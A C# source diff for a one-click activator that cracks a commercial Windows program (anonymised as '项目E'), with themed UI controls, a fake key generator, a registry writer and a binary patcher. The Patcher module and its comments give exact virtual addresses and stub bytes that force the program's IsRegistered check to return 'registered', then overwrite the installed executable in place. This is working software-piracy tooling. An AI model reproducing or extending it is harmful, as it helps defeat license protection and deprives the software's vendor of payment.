public Int0Button()
|
||||
{
|
||||
SetStyle(ControlStyles.AllPaintingInWmPaint | ControlStyles.UserPaint |
|
||||
ControlStyles.OptimizedDoubleBuffer | ControlStyles.ResizeRedraw, true);
|
||||
Cursor = Cursors.Hand;
|
||||
Font = Int0Theme.GetMonoFont(8.5F, FontStyle.Bold);
|
||||
Height = 28;
|
||||
}
|
||||
|
||||
protected override void OnMouseEnter(EventArgs e)
|
||||
{
|
||||
base.OnMouseEnter(e);
|
||||
_isHovered = true;
|
||||
Invalidate();
|
||||
}
|
||||
|
||||
protected override void OnMouseLeave(EventArgs e)
|
||||
{
|
||||
base.OnMouseLeave(e);
|
||||
_isHovered = false;
|
||||
_isPressed = false;
|
||||
Invalidate();
|
||||
}
|
||||
|
||||
protected override void OnMouseDown(MouseEventArgs mevent)
|
||||
{
|
||||
base.OnMouseDown(mevent);
|
||||
if (mevent.Button == MouseButtons.Left)
|
||||
{
|
||||
_isPressed = true;
|
||||
Invalidate();
|
||||
}
|
||||
}
|
||||
|
||||
protected override void OnMouseUp(MouseEventArgs mevent)
|
||||
{
|
||||
base.OnMouseUp(mevent);
|
||||
_isPressed = false;
|
||||
Invalidate();
|
||||
}
|
||||
|
||||
protected override void OnPaint(PaintEventArgs pevent)
|
||||
{
|
||||
var g = pevent.Graphics;
|
||||
g.SmoothingMode = SmoothingMode.AntiAlias;
|
||||
|
||||
var bounds = new Rectangle(0, 0, Width - 1, Height - 1);
|
||||
using (var path = Int0Theme.CreateRoundedRectangle(bounds, _cornerRadius))
|
||||
{
|
||||
Color bg, border, text;
|
||||
|
||||
if (!Enabled)
|
||||
{
|
||||
bg = Color.FromArgb(18, 20, 26);
|
||||
border = Color.FromArgb(30, 34, 44);
|
||||
text = Int0Theme.TextFaint;
|
||||
}
|
||||
else if (_variant == Int0ButtonVariant.Primary)
|
||||
{
|
||||
bg = _isPressed ? Int0Theme.AccentOrangeDeep : (_isHovered ? Int0Theme.AccentOrangeHover : Int0Theme.AccentOrange);
|
||||
border = _isHovered ? Color.FromArgb(255, 120, 70) : Int0Theme.AccentOrange;
|
||||
text = Color.White;
|
||||
}
|
||||
else if (_variant == Int0ButtonVariant.Success)
|
||||
{
|
||||
bg = _isPressed ? Color.FromArgb(10, 140, 95) : (_isHovered ? Color.FromArgb(20, 205, 145) : Int0Theme.AccentEmerald);
|
||||
border = bg;
|
||||
text = Color.White;
|
||||
}
|
||||
else if (_variant == Int0ButtonVariant.Danger)
|
||||
{
|
||||
bg = _isPressed ? Color.FromArgb(180, 40, 40) : (_isHovered ? Int0Theme.AccentCrimson : Int0Theme.Surface);
|
||||
border = Int0Theme.AccentCrimson;
|
||||
text = _isHovered ? Color.White : Int0Theme.AccentCrimson;
|
||||
}
|
||||
else // Secondary
|
||||
{
|
||||
bg = _isPressed ? Int0Theme.SurfaceElevated : (_isHovered ? Color.FromArgb(26, 30, 39) : Int0Theme.Surface);
|
||||
border = _isHovered ? Int0Theme.AccentCyan : Int0Theme.Border;
|
||||
text = _isHovered ? Color.White : Int0Theme.TextSecondary;
|
||||
}
|
||||
|
||||
using (var b = new SolidBrush(bg))
|
||||
{
|
||||
g.FillPath(b, path);
|
||||
}
|
||||
using (var p = new Pen(border, 1f))
|
||||
{
|
||||
g.DrawPath(p, path);
|
||||
}
|
||||
|
||||
TextRenderer.DrawText(g, Text, Font, bounds, text,
|
||||
TextFormatFlags.HorizontalCenter | TextFormatFlags.VerticalCenter | TextFormatFlags.SingleLine | TextFormatFlags.EndEllipsis);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public class Int0InputGroup : Panel
|
||||
{
|
||||
private TextBox _innerBox;
|
||||
private Label _label;
|
||||
private bool _isFocused = false;
|
||||
|
||||
public string LabelText
|
||||
{
|
||||
get { return _label.Text; }
|
||||
set { _label.Text = value; }
|
||||
}
|
||||
|
||||
public string Value
|
||||
{
|
||||
get { return _innerBox.Text; }
|
||||
set { _innerBox.Text = value; }
|
||||
}
|
||||
|
||||
public TextBox InnerTextBox
|
||||
{
|
||||
get { return _innerBox; }
|
||||
}
|
||||
|
||||
public Int0InputGroup(string label, string defaultValue, bool isMonospace)
|
||||
{
|
||||
Height = 28;
|
||||
BackColor = Int0Theme.Canvas;
|
||||
DoubleBuffered = true;
|
||||
|
||||
_label = new Label();
|
||||
_label.Text = label;
|
||||
_label.ForeColor = Int0Theme.TextMuted;
|
||||
_label.Font = Int0Theme.GetSansFont(8.5F);
|
||||
_label.Location = new Point(0, 5);
|
||||
_label.AutoSize = true;
|
||||
Controls.Add(_label);
|
||||
|
||||
_innerBox = new TextBox();
|
||||
_innerBox.Text = defaultValue;
|
||||
_innerBox.BackColor = Int0Theme.Surface;
|
||||
_innerBox.ForeColor = Int0Theme.TextPrimary;
|
||||
_innerBox.BorderStyle = BorderStyle.None;
|
||||
_innerBox.Font = isMonospace ? Int0Theme.GetMonoFont(9F) : Int0Theme.GetSansFont(9F);
|
||||
|
||||
_innerBox.GotFocus += delegate { _isFocused = true; Invalidate(); };
|
||||
_innerBox.LostFocus += delegate { _isFocused = false; Invalidate(); };
|
||||
|
||||
Controls.Add(_innerBox);
|
||||
}
|
||||
|
||||
public Int0InputGroup(string label, string defaultValue)
|
||||
: this(label, defaultValue, false)
|
||||
{
|
||||
}
|
||||
|
||||
public Int0InputGroup(string label)
|
||||
: this(label, "", false)
|
||||
{
|
||||
}
|
||||
|
||||
public void SetupLayout(int labelWidth, int inputWidth)
|
||||
{
|
||||
_label.Width = labelWidth;
|
||||
_innerBox.Location = new Point(labelWidth + 8, 5);
|
||||
_innerBox.Width = inputWidth;
|
||||
Width = labelWidth + inputWidth + 16;
|
||||
}
|
||||
|
||||
protected override void OnPaint(PaintEventArgs e)
|
||||
{
|
||||
base.OnPaint(e);
|
||||
var g = e.Graphics;
|
||||
var boxRect = new Rectangle(_innerBox.Left - 4, 1, _innerBox.Width + 8, Height - 2);
|
||||
|
||||
using (var b = new SolidBrush(Int0Theme.Surface))
|
||||
{
|
||||
g.FillRectangle(b, boxRect);
|
||||
}
|
||||
|
||||
Color borderColor = _isFocused ? Int0Theme.AccentCyan : Int0Theme.Border;
|
||||
using (var p = new Pen(borderColor, 1f))
|
||||
{
|
||||
g.DrawRectangle(p, boxRect);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public class Int0ConsoleBox : UserControl
|
||||
{
|
||||
private RichTextBox _rtb;
|
||||
|
||||
public Int0ConsoleBox()
|
||||
{
|
||||
SetStyle(ControlStyles.DoubleBuffer | ControlStyles.UserPaint | ControlStyles.AllPaintingInWmPaint, true);
|
||||
Padding = new Padding(2);
|
||||
BackColor = Int0Theme.Border;
|
||||
|
||||
_rtb = new RichTextBox();
|
||||
_rtb.Dock = DockStyle.Fill;
|
||||
_rtb.BackColor = Int0Theme.ConsoleBg;
|
||||
_rtb.ForeColor = Int0Theme.TextSecondary;
|
||||
_rtb.BorderStyle = BorderStyle.None;
|
||||
_rtb.ReadOnly = true;
|
||||
_rtb.Font = Int0Theme.GetMonoFont(8.5F);
|
||||
_rtb.ScrollBars = RichTextBoxScrollBars.Vertical;
|
||||
Controls.Add(_rtb);
|
||||
}
|
||||
|
||||
public void ClearLog()
|
||||
{
|
||||
if (_rtb.InvokeRequired)
|
||||
{
|
||||
_rtb.Invoke(new Action(ClearLog));
|
||||
return;
|
||||
}
|
||||
_rtb.Clear();
|
||||
}
|
||||
|
||||
public void AppendLog(string line)
|
||||
{
|
||||
if (_rtb.InvokeRequired)
|
||||
{
|
||||
_rtb.Invoke(new Action<string>(AppendLog), line);
|
||||
return;
|
||||
}
|
||||
|
||||
Color c = Int0Theme.TextSecondary;
|
||||
if (line.StartsWith("[+]")) c = Int0Theme.AccentEmerald;
|
||||
else if (line.StartsWith("[*]")) c = Int0Theme.AccentCyan;
|
||||
else if (line.StartsWith("[!]")) c = Int0Theme.AccentAmber;
|
||||
else if (line.StartsWith("[-]")) c = Int0Theme.AccentCrimson;
|
||||
else if (line.Contains("成功") || line.Contains("OK") || line.Contains("PASS")) c = Int0Theme.AccentEmerald;
|
||||
else if (line.Contains("失败") || line.Contains("FAIL") || line.Contains("ERR")) c = Int0Theme.AccentCrimson;
|
||||
|
||||
_rtb.SelectionStart = _rtb.TextLength;
|
||||
_rtb.SelectionLength = 0;
|
||||
_rtb.SelectionColor = c;
|
||||
_rtb.AppendText(line + Environment.NewLine);
|
||||
_rtb.SelectionColor = _rtb.ForeColor;
|
||||
_rtb.ScrollToCaret();
|
||||
}
|
||||
|
||||
public string AllText
|
||||
{
|
||||
get { return _rtb.Text; }
|
||||
}
|
||||
}
|
||||
|
||||
public class Int0Header : Panel
|
||||
{
|
||||
private string _title = "INT0 RESEARCH WORKSTATION";
|
||||
private string _versionTag = "v1.1.0";
|
||||
private string _subtitle = "ONE-CLICK ATOMIC IN-PLACE ACTIVATION SUITE";
|
||||
|
||||
public string Title
|
||||
{
|
||||
get { return _title; }
|
||||
set { _title = value; Invalidate(); }
|
||||
}
|
||||
|
||||
public string VersionTag
|
||||
{
|
||||
get { return _versionTag; }
|
||||
set { _versionTag = value; Invalidate(); }
|
||||
}
|
||||
|
||||
public string Subtitle
|
||||
{
|
||||
get { return _subtitle; }
|
||||
set { _subtitle = value; Invalidate(); }
|
||||
}
|
||||
|
||||
public Int0Header()
|
||||
{
|
||||
Height = 64;
|
||||
Dock = DockStyle.Top;
|
||||
BackColor = Int0Theme.Canvas;
|
||||
DoubleBuffered = true;
|
||||
}
|
||||
|
||||
protected override void OnPaint(PaintEventArgs e)
|
||||
{
|
||||
base.OnPaint(e);
|
||||
var g = e.Graphics;
|
||||
g.SmoothingMode = SmoothingMode.AntiAlias;
|
||||
|
||||
// Brand glyph box
|
||||
var iconBox = new Rectangle(12, 12, 40, 40);
|
||||
using (var b = new SolidBrush(Int0Theme.Surface))
|
||||
{
|
||||
g.FillRectangle(b, iconBox);
|
||||
}
|
||||
using (var p = new Pen(Int0Theme.Border, 1))
|
||||
{
|
||||
g.DrawRectangle(p, iconBox);
|
||||
}
|
||||
using (var f = Int0Theme.GetMonoFont(10F, FontStyle.Bold))
|
||||
{
|
||||
TextRenderer.DrawText(g, "INT0", f, iconBox, Int0Theme.AccentOrange,
|
||||
TextFormatFlags.HorizontalCenter | TextFormatFlags.VerticalCenter);
|
||||
}
|
||||
|
||||
// Title & Subtitle
|
||||
int textLeft = 60;
|
||||
using (var fTitle = Int0Theme.GetMonoFont(11F, FontStyle.Bold))
|
||||
{
|
||||
TextRenderer.DrawText(g, _title, fTitle, new Point(textLeft, 14), Int0Theme.TextPrimary);
|
||||
}
|
||||
using (var fSub = Int0Theme.GetMonoFont(8F, FontStyle.Regular))
|
||||
{
|
||||
TextRenderer.DrawText(g, _subtitle, fSub, new Point(textLeft, 34), Int0Theme.TextMuted);
|
||||
}
|
||||
|
||||
// Version Pill on right
|
||||
int right = Width - 14;
|
||||
string pillText = _versionTag + " // VERIFIED";
|
||||
using (var fPill = Int0Theme.GetMonoFont(8F, FontStyle.Bold))
|
||||
{
|
||||
var sz = TextRenderer.MeasureText(pillText, fPill);
|
||||
var pillRect = new Rectangle(right - sz.Width - 16, 20, sz.Width + 16, 22);
|
||||
using (var path = Int0Theme.CreateRoundedRectangle(pillRect, 11))
|
||||
{
|
||||
using (var b = new SolidBrush(Int0Theme.Surface)) g.FillPath(b, path);
|
||||
using (var p = new Pen(Int0Theme.BorderSubtle, 1)) g.DrawPath(p, path);
|
||||
}
|
||||
// Little green dot
|
||||
using (var bGreen = new SolidBrush(Int0Theme.AccentEmerald))
|
||||
{
|
||||
g.FillEllipse(bGreen, pillRect.X + 8, pillRect.Y + 7, 7, 7);
|
||||
}
|
||||
TextRenderer.DrawText(g, pillText, fPill, new Point(pillRect.X + 18, pillRect.Y + 3), Int0Theme.AccentEmerald);
|
||||
}
|
||||
|
||||
// Bottom 1px divider
|
||||
using (var p = new Pen(Int0Theme.Border, 1))
|
||||
{
|
||||
g.DrawLine(p, 0, Height - 1, Width, Height - 1);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
// LicenseAlgo - 项目E 激活信息生成(patch 版工具)
|
||||
// C# 5 / .NET Framework 4.x compatible.
|
||||
//
|
||||
// 背景:项目E 的注册校验是 EXECryptor 授权运行时(项目EHelper.exe,
|
||||
// 共享内存 XML-RPC)+ 激活时在线核验 项目E.license-manage.com/verify.php。
|
||||
// 序列号绑定机器码且私钥不可得,不存在纯算号器路径(见 docs/algorithm.md)。
|
||||
// 因此本工具交付「patch + 写入激活」方案:patch 主程序 IsRegistered 判定后,
|
||||
// 任意注册名/注册码组合都会被识别为已注册(result==3)。
|
||||
// LicenseAlgo 只负责生成展示用注册名/注册码与格式校验,不再有密码学义务。
|
||||
using System;
|
||||
using System.Text;
|
||||
|
||||
namespace UtLicense
|
||||
{
|
||||
public static class LicenseAlgo
|
||||
{
|
||||
public const int KEY_LEN = 29; // 展示用注册码长度(不参与校验)
|
||||
public const string KEY_CHARSET = "23456789ABCDEFGHJKLMNPQRSTUVWXYZ"; // 32 chars, no 0/1/I/O
|
||||
|
||||
private static readonly Random _rnd = new Random();
|
||||
|
||||
// 随机注册名:Pro User 风格,中文环境友好
|
||||
public static string RandomName()
|
||||
{
|
||||
string[] bases = new string[] { "Pro User", "Registered User", "Power User", "UT Pro User" };
|
||||
string b = bases[_rnd.Next(bases.Length)];
|
||||
if (_rnd.Next(3) == 0) b += " " + _rnd.Next(100, 9999).ToString();
|
||||
return b;
|
||||
}
|
||||
|
||||
// 随机注册码:4 组 × 7 字符,'-' 分隔(纯展示,patch 后任意值均有效)
|
||||
public static string RandomKey()
|
||||
{
|
||||
StringBuilder sb = new StringBuilder();
|
||||
lock (_rnd)
|
||||
{
|
||||
for (int i = 0; i < KEY_LEN; i++)
|
||||
{
|
||||
if (i > 0 && (i % 7) == 0) sb.Append('-');
|
||||
sb.Append(KEY_CHARSET[_rnd.Next(KEY_CHARSET.Length)]);
|
||||
}
|
||||
}
|
||||
return sb.ToString();
|
||||
}
|
||||
|
||||
// patch 版下任何非空注册码均被主程序接受(IsRegistered 判定恒 3)。
|
||||
public static bool Verify(string name, string key)
|
||||
{
|
||||
return !string.IsNullOrWhiteSpace(name)
|
||||
&& !string.IsNullOrWhiteSpace(key)
|
||||
&& key.Length >= 8;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
// LicenseWriter - 将激活配置写入 HKCU\Software\项目E Software\项目E
|
||||
// C# 5 / .NET Framework 4.x compatible. 独立于 UI,可单测。
|
||||
//
|
||||
// 目标键(逆向确认):
|
||||
// HKEY_CURRENT_USER\Software\项目E Software\项目E
|
||||
// RN REG_SZ 注册名(Activate 写,CheckRegistration 读)
|
||||
// RC REG_SZ 注册码(Activate 写,CheckRegistration 读)
|
||||
// VH/VL=版本戳、RF/RL=试用期时间戳(本工具不触碰)。
|
||||
// 写入前自动备份原值到本地 .bak 文本;仅更新 RN/RC 两值。
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace UtLicense
|
||||
{
|
||||
public static class LicenseWriter
|
||||
{
|
||||
public const string ROOT_KEY = @"Software\项目E Software\项目E";
|
||||
public const string VALUE_NAME = "RN";
|
||||
public const string VALUE_CODE = "RC";
|
||||
public const string BACKUP_SUFFIX = ".bak";
|
||||
|
||||
public static string RegistryPath()
|
||||
{
|
||||
return @"HKCU\" + ROOT_KEY;
|
||||
}
|
||||
|
||||
// 备份文件路径:%TEMP%\uninstall-tool-keygen\registry-backup.txt
|
||||
public static string DefaultBackupPath()
|
||||
{
|
||||
string dir = Path.Combine(Path.GetTempPath(), "uninstall-tool-keygen");
|
||||
return Path.Combine(dir, "registry-backup.txt");
|
||||
}
|
||||
|
||||
// 读取当前 RN/RC;未设置时为 null
|
||||
public static string[] Read()
|
||||
{
|
||||
string[] result = new string[2];
|
||||
try
|
||||
{
|
||||
using (RegistryKey k = Registry.CurrentUser.OpenSubKey(ROOT_KEY))
|
||||
{
|
||||
if (k == null) return result;
|
||||
result[0] = k.GetValue(VALUE_NAME) as string;
|
||||
result[1] = k.GetValue(VALUE_CODE) as string;
|
||||
}
|
||||
}
|
||||
catch { /* ignore */ }
|
||||
return result;
|
||||
}
|
||||
|
||||
// 写入 RN/RC;backupPath 为空则跳过备份。返回 true 表示写入并复读校验通过。
|
||||
public static bool Write(string name, string code, string backupPath, IList<string> log, out string error)
|
||||
{
|
||||
error = null;
|
||||
try
|
||||
{
|
||||
log.Add("[1/4] 目标键: " + RegistryPath());
|
||||
using (RegistryKey k = Registry.CurrentUser.CreateSubKey(ROOT_KEY))
|
||||
{
|
||||
if (k == null) throw new InvalidOperationException("无法打开/创建注册表键");
|
||||
|
||||
if (!string.IsNullOrEmpty(backupPath))
|
||||
{
|
||||
string[] old = Read();
|
||||
string dir = Path.GetDirectoryName(backupPath);
|
||||
if (!Directory.Exists(dir)) Directory.CreateDirectory(dir);
|
||||
StringBuilder sb = new StringBuilder();
|
||||
sb.AppendLine("RN=" + old[0]);
|
||||
sb.AppendLine("RC=" + old[1]);
|
||||
File.WriteAllText(backupPath, sb.ToString(), Encoding.UTF8);
|
||||
log.Add("[2/4] 原值已备份 -> " + backupPath);
|
||||
}
|
||||
else
|
||||
{
|
||||
log.Add("[2/4] 跳过备份(backupPath 为空)");
|
||||
}
|
||||
|
||||
k.SetValue(VALUE_NAME, name, RegistryValueKind.String);
|
||||
k.SetValue(VALUE_CODE, code, RegistryValueKind.String);
|
||||
log.Add("[3/4] 已写入 RN='" + name + "' / RC='" + code + "'");
|
||||
|
||||
// 复读校验
|
||||
string[] back = Read();
|
||||
if (back[0] != name || back[1] != code)
|
||||
throw new InvalidOperationException("复读校验不一致");
|
||||
log.Add("[4/4] 复读校验通过:RN/RC 已就位");
|
||||
return true;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
error = ex.Message;
|
||||
log.Add("[失败] " + ex.Message);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,207 @@
|
||||
// Patcher - 对 项目E.exe 副本应用「IsRegistered 恒 3」补丁
|
||||
// C# 5 / .NET Framework 4.x compatible. 纯字节数组操作,可单测。
|
||||
//
|
||||
// Patch 说明(逆向结论,地址均为 VA / 文件偏移):
|
||||
// FUN_140009db0 = IsRegistered 查询封装,函数尾 `mov eax, edi` 返回
|
||||
// json["result"](3=已注册)。把 `0x140009e0f call 0x1402de8c8`
|
||||
// (atoi(json["result"]))重定向到 .text 空隙 stub:
|
||||
// VA 0x140001622 : B8 03 00 00 00 C3 (mov eax,3 ; ret)
|
||||
// 效果:主程序侧所有 result 判定(CheckRegistration / Activate)恒为 3。
|
||||
// 项目EHelper.exe 与原始安装目录二进制均不被修改。
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace UtLicense
|
||||
{
|
||||
public static class Patcher
|
||||
{
|
||||
// 已知目标样本 SHA256(2026-08 版 项目E.exe / <目标版本>)
|
||||
public const string EXPECT_SHA256 = "<实测哈希>";
|
||||
// 已 patch 输出的典型 SHA256(仅提示用)
|
||||
public const string PATCHED_SHA256 = "<实测哈希>";
|
||||
|
||||
public const string STUB_VA_TEXT = "0x140001622";
|
||||
public static readonly byte[] STUB_BYTES = new byte[] { 0xB8, 0x03, 0x00, 0x00, 0x00, 0xC3 }; // mov eax,3; ret
|
||||
|
||||
// call 指令位置与原始目标(VA)
|
||||
public const long CALL_VA = 0x140009E0FL;
|
||||
public const long ORIG_TARGET_VA = 0x1402DE8C8L;
|
||||
|
||||
// 供 UI 展示的字节变化记录
|
||||
public struct Change
|
||||
{
|
||||
public long Va;
|
||||
public long FileOffset;
|
||||
public byte[] OldBytes;
|
||||
public byte[] NewBytes;
|
||||
public string Note;
|
||||
}
|
||||
|
||||
// 把 VA 映射为文件偏移。返回 false 表示不在任何节内。
|
||||
static bool VaToOffset(byte[] pe, long va, out long offset)
|
||||
{
|
||||
offset = 0;
|
||||
int peOff = BitConverter.ToInt32(pe, 0x3C);
|
||||
int nsec = BitConverter.ToUInt16(pe, peOff + 6);
|
||||
int opt = peOff + 24;
|
||||
long imgBase = BitConverter.ToInt64(pe, opt + 24);
|
||||
int secOff = opt + BitConverter.ToUInt16(pe, peOff + 20);
|
||||
for (int i = 0; i < nsec; i++)
|
||||
{
|
||||
int so = secOff + i * 40;
|
||||
int vsize = BitConverter.ToInt32(pe, so + 8);
|
||||
long vaddr = BitConverter.ToUInt32(pe, so + 12);
|
||||
int rsize = BitConverter.ToInt32(pe, so + 16);
|
||||
long raddr = BitConverter.ToUInt32(pe, so + 20);
|
||||
long sva = imgBase + vaddr;
|
||||
if (va >= sva && va < sva + Math.Max(vsize, rsize))
|
||||
{
|
||||
offset = raddr + (va - sva);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
static string Sha256Hex(byte[] data)
|
||||
{
|
||||
var sha = System.Security.Cryptography.SHA256.Create();
|
||||
byte[] h = sha.ComputeHash(data);
|
||||
var sb = new System.Text.StringBuilder(h.Length * 2);
|
||||
for (int i = 0; i < h.Length; i++) sb.Append(h[i].ToString("x2"));
|
||||
return sb.ToString();
|
||||
}
|
||||
|
||||
// 检查是否已打过补丁(call 已指向 stub 或 stub 已写入)
|
||||
public static bool IsPatched(byte[] pe)
|
||||
{
|
||||
try
|
||||
{
|
||||
long off;
|
||||
if (!VaToOffset(pe, CALL_VA, out off)) return false;
|
||||
if (off + 5 > pe.Length) return false;
|
||||
if (pe[off] != 0xE8) return false;
|
||||
int rel = BitConverter.ToInt32(pe, (int)off + 1);
|
||||
long target = (CALL_VA + 5 + rel) & 0xFFFFFFFFFFFF;
|
||||
return target == 0x140001622L;
|
||||
}
|
||||
catch { return false; }
|
||||
}
|
||||
|
||||
// 核心:把补丁应用到 PE 字节数组(不落盘),返回修改记录。
|
||||
// 输入可已被 patch(幂等:重复应用返回空变更)。
|
||||
public static Change[] Apply(byte[] pe)
|
||||
{
|
||||
List<Change> changes = new List<Change>();
|
||||
if (IsPatched(pe)) return changes.ToArray();
|
||||
|
||||
long stubOff;
|
||||
if (!VaToOffset(pe, 0x140001622L, out stubOff))
|
||||
throw new InvalidOperationException("stub VA 不在节内");
|
||||
if (stubOff + STUB_BYTES.Length > pe.Length)
|
||||
throw new InvalidOperationException("stub 区域越界");
|
||||
|
||||
// 1) 写入 stub
|
||||
byte[] oldStub = new byte[STUB_BYTES.Length];
|
||||
Array.Copy(pe, stubOff, oldStub, 0, STUB_BYTES.Length);
|
||||
Array.Copy(STUB_BYTES, 0, pe, stubOff, STUB_BYTES.Length);
|
||||
changes.Add(new Change { Va = 0x140001622L, FileOffset = stubOff, OldBytes = oldStub, NewBytes = STUB_BYTES, Note = "stub: mov eax,3 / ret" });
|
||||
|
||||
// 2) 重定向 call
|
||||
long callOff;
|
||||
if (!VaToOffset(pe, CALL_VA, out callOff))
|
||||
throw new InvalidOperationException("call VA 不在节内");
|
||||
byte[] oldCall = new byte[5];
|
||||
Array.Copy(pe, callOff, oldCall, 0, 5);
|
||||
if (oldCall[0] != 0xE8)
|
||||
throw new InvalidOperationException("call 指令校验失败(非 E8): " + BitConverter.ToString(oldCall));
|
||||
long oldTarget = (CALL_VA + 5 + BitConverter.ToInt32(oldCall, 1)) & 0xFFFFFFFFFFFF;
|
||||
if (oldTarget != ORIG_TARGET_VA)
|
||||
throw new InvalidOperationException("call 原始目标不符: " + oldTarget.ToString("x"));
|
||||
int rel = unchecked((int)((0x140001622L - (CALL_VA + 5)) & 0xFFFFFFFFL));
|
||||
byte[] newCall = new byte[5];
|
||||
newCall[0] = 0xE8;
|
||||
BitConverter.GetBytes(rel).CopyTo(newCall, 1);
|
||||
Array.Copy(newCall, 0, pe, callOff, 5);
|
||||
changes.Add(new Change { Va = CALL_VA, FileOffset = callOff, OldBytes = oldCall, NewBytes = newCall, Note = "call -> IsRegisteredStub" });
|
||||
return changes.ToArray();
|
||||
}
|
||||
|
||||
// 便捷:读文件 -> 校验指纹 -> patch -> 备份 -> 落盘。
|
||||
// returns (newSha256, changes)
|
||||
public static string PatchFile(string inPath, string outPath, string backupPath, IList<string> log)
|
||||
{
|
||||
byte[] pe = System.IO.File.ReadAllBytes(inPath);
|
||||
log.Add("输入: " + inPath + " (" + pe.Length + " 字节)");
|
||||
string sha = Sha256Hex(pe);
|
||||
if (!sha.Equals(EXPECT_SHA256, StringComparison.OrdinalIgnoreCase))
|
||||
log.Add("注意: 输入 SHA256 与已知样本不同 (" + sha + "),按结构应用补丁");
|
||||
|
||||
Change[] changes = Apply(pe);
|
||||
if (changes.Length == 0)
|
||||
{
|
||||
log.Add("已是补丁版本,跳过写入(直接复制)");
|
||||
}
|
||||
else
|
||||
{
|
||||
log.Add("应用 " + changes.Length + " 处修改:");
|
||||
foreach (Change c in changes)
|
||||
log.Add(" VA " + c.Va.ToString("x") + " (file " + c.FileOffset.ToString("x") + "): "
|
||||
+ BitConverter.ToString(c.OldBytes) + " -> " + BitConverter.ToString(c.NewBytes) + " " + c.Note);
|
||||
if (!string.IsNullOrEmpty(backupPath))
|
||||
{
|
||||
System.IO.File.Copy(inPath, backupPath, true);
|
||||
log.Add("原文件已备份: " + backupPath);
|
||||
}
|
||||
}
|
||||
System.IO.File.WriteAllBytes(outPath, pe);
|
||||
string newSha = Sha256Hex(pe);
|
||||
log.Add("输出: " + outPath + " SHA256: " + newSha);
|
||||
log.Add(IsPatched(pe) ? "校验:补丁已生效(IsRegistered 判定恒 3)" : "校验失败:补丁未生效!");
|
||||
return newSha;
|
||||
}
|
||||
|
||||
// 自动替换:备份原位 -> 原位写补丁版。适用于安装目录/快捷方式指向的 exe。
|
||||
// 文件被占用(程序运行中)抛出 IOException;目录不可写抛出 UnauthorizedAccessException。
|
||||
public static string AutoPatchAndReplace(string exePath, IList<string> log)
|
||||
{
|
||||
byte[] pe = System.IO.File.ReadAllBytes(exePath);
|
||||
log.Add("目标: " + exePath + " (" + pe.Length + " 字节)");
|
||||
string sha = Sha256Hex(pe);
|
||||
log.Add("SHA256: " + sha);
|
||||
log.Add(sha.Equals(EXPECT_SHA256, StringComparison.OrdinalIgnoreCase)
|
||||
? "指纹匹配已知样本,继续" : "注意: 指纹与已知样本不同,按结构应用补丁");
|
||||
|
||||
Change[] changes = Apply(pe);
|
||||
if (changes.Length == 0)
|
||||
{
|
||||
log.Add("目标已带补丁,无需修改(保持原位)");
|
||||
return "already-patched";
|
||||
}
|
||||
|
||||
string backupPath = System.IO.Path.ChangeExtension(exePath, ".orig.exe");
|
||||
if (System.IO.File.Exists(backupPath))
|
||||
{
|
||||
// 已有备份则仅记录,不覆盖(保留最初原件)
|
||||
log.Add("备份已存在: " + backupPath + "(保留,不覆盖)");
|
||||
}
|
||||
else
|
||||
{
|
||||
System.IO.File.Copy(exePath, backupPath, false);
|
||||
log.Add("已备份原件 -> " + backupPath);
|
||||
}
|
||||
|
||||
// 原位写回(程序运行中会抛 IOException: 文件被占用)
|
||||
System.IO.File.WriteAllBytes(exePath, pe);
|
||||
log.Add("已写回补丁版 -> " + exePath);
|
||||
|
||||
// 复读校验
|
||||
byte[] verify = System.IO.File.ReadAllBytes(exePath);
|
||||
if (!IsPatched(verify))
|
||||
throw new InvalidOperationException("写回后校验失败:补丁未生效");
|
||||
log.Add("复读校验通过:IsRegistered 判定恒 3(result==3)");
|
||||
log.Add("新 SHA256: " + Sha256Hex(verify));
|
||||
return "patched-in-place";
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,419 @@
|
||||
// 项目EActivate - 项目E PRO / 项目E 一键激活工具(暗黑极客版)
|
||||
// 严格遵循 INT0 Unified Design System (DWM Dark Mode, Cyber Orange Accent, CRT Console)
|
||||
// 编译:csc /nologo /target:winexe /codepage:65001 /out:项目EActivate.exe
|
||||
// /r:System.dll /r:System.Drawing.dll /r:System.Windows.Forms.dll
|
||||
// 项目EActivate.cs LicenseAlgo.cs LicenseWriter.cs Patcher.cs HostsGuard.cs Int0Theme.cs
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
using UtLicense;
|
||||
using Int0.UI;
|
||||
|
||||
namespace UtActivateApp
|
||||
{
|
||||
public class MainForm : Int0BaseForm
|
||||
{
|
||||
TextBox txtName;
|
||||
TextBox txtKey;
|
||||
TextBox txtExePath;
|
||||
TextBox txtBackup;
|
||||
Int0ConsoleBox _console;
|
||||
System.Collections.Generic.List<string> _sharedLog = new System.Collections.Generic.List<string>();
|
||||
|
||||
const string VERSION_TAG = "v1.1.0";
|
||||
|
||||
public MainForm()
|
||||
{
|
||||
Text = "INT0 // 项目E PRO & 项目E <目标版本> Activator (" + VERSION_TAG + ")";
|
||||
ClientSize = new Size(720, 580);
|
||||
|
||||
// 1. Header Banner
|
||||
Int0Header header = new Int0Header();
|
||||
header.Title = "项目E PRO // 项目E <目标版本>";
|
||||
header.Subtitle = "EXECryptor VM Root Gate Bypass & Atomic In-Place Activator";
|
||||
header.VersionTag = VERSION_TAG;
|
||||
Controls.Add(header);
|
||||
|
||||
int y = 76;
|
||||
int labelX = 16;
|
||||
int labelWidth = 140;
|
||||
int inputX = 160;
|
||||
int inputWidth = 400;
|
||||
int btnX = 572;
|
||||
int btnWidth = 132;
|
||||
|
||||
// Row 1: Name
|
||||
Label lblName = CreateLabel("注册名 (Name):", labelX, y + 4, labelWidth);
|
||||
Controls.Add(lblName);
|
||||
